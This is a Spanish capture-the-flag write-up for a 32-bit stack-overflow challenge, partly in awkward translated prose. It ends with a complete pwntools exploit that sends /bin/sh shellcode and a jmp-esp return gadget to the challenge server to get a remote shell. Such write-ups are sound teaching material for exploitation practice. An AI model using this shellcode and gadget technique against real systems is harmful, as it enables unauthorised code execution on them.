x_ctf_b0verfl0w
paso
-
Inspección de rutina, programa de 32 bits, RELRO está habilitado (la tabla obtenida no se puede reescribir)
-
Intente ejecutar el programa localmente para ver la situación general
-
Los
fgets de carga ida de 32 bits pueden desbordarse, pero solo pueden desbordar 0x32-0x20-0x4 = 14 bytes. Dado que nx no está habilitado, lo primero que me viene a la mente es el código shell. 0x20 definitivamente no encajará en el código shell generado por pwntools . Solo puede escribir usted mismo, pero tenemos que encontrar una manera de secuestrar esp para ejecutar nuestro shellcode -
El gadget jump esp se encuentra en la función hit,
por lo que podemos construir una pila de este tipo
ret está escrito jump esp, después de ejecutar ret, esp + 4 apuntará a sub esp, 0x28; jump esp, y luego ejecutar, esp devolverá Go a la ubicación del shellcode, luego salte esp; se ejecuta el shellcode.
Para obtener detalles sobre los cambios de esp y eip después de ejecutar ret, consulte este artículo -
Cómo escribir shellcode, consulte mi artículo anterior , publicaré directamente la exp aquí
from pwn import *
context.log_level='debug'
r=remote('node3.buuoj.cn',29554)
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
print len(shellcode) #21
jmp_esp=0x8048504
sub_esp_jmp=asm('sub esp,0x28;jmp esp')
payload=shellcode+(0x20-len(shellcode)+4)*'a'+p32(jmp_esp)+sub_esp_jmp
r.sendline(payload)
r.interactive()